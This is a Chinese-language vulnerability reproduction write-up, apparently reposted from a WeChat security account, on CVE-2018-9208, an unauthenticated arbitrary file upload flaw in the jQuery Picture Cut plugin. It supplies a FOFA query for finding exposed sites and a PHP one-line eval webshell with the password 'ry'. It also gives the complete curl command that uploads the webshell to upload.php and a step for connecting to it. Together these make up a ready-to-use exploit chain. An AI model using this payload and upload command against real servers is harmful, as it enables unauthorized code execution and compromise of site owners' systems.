本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现 CVE-2018-9208 jquery-picture-cut任意文件上传
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
picture cut是一个jquery插件,以非常友好和简单的方式处理图像,具有基于bootstrap或jquery ui的漂亮界面,具有ajax上传,从资源管理器拖动图像,图像裁剪等强大的功能。jQuery-Picture-Cut/src/php/upload.php 中调用../core/PictureCut.php 处理文件上传的代码不检查文件类型并允许用户选择文件位置路径。未经身份验证的用户并将可执行的 PHP 文件上传到服务器,从而允许执行代码。
![图片[1]-CVE-2018-9208 jquery-picture-cut任意文件上传-安全小天地](d2b5ca33bd191446.png)
0x03 漏洞复现
漏洞影响: jQuery Picture Cut <= v1.1
FOFA:title=”jQuery”
1.本地搭建环境,使用phpstudy,到如下链接中下载源码
https://github.com/TuyoshiVinicius/jQuery-Picture-Cut
![图片[2]-CVE-2018-9208 jquery-picture-cut任意文件上传-安全小天地](https://img.godyu.com/2023/12/20231226124839246.png?imageView2/0/format/webp/q/75)
2.准备一个一句话木马,取名为shell.php
<?php @eval($_POST[\'ry\']);?>
3.kali使用curl在当前一句话木马目录中上传webshell,虽然显示了一些错误,但是实际是成功上传了
curl -F \"inputOfFile=file\" -F \"request=upload\" -F \"enableResize=0\" -F \"minimumWidthToResize=0\" -F \"minimumHeightToResize=0\" -F \"folderOnServer=/\" -F \"imageNameRandom=1\" -F \"maximumSize=10000\" -F \"enableMaximumSize=0\" -F \"file=@shell.php\" http://x.x.x.x/jQuery-Picture-Cut/src/php/upload.php
![图片[3]-CVE-2018-9208 jquery-picture-cut任意文件上传-安全小天地](https://img.godyu.com/2023/12/20231226204840725.png?imageView2/0/format/webp/q/75)
4.连接webshell,得到一个shell,密码为ry
http://x.x.x.x/shell.php
![图片[4]-CVE-2018-9208 jquery-picture-cut任意文件上传-安全小天地](https://img.godyu.com/2023/12/20231226204841920.png?imageView2/0/format/webp/q/75)
THE END
暂无评论内容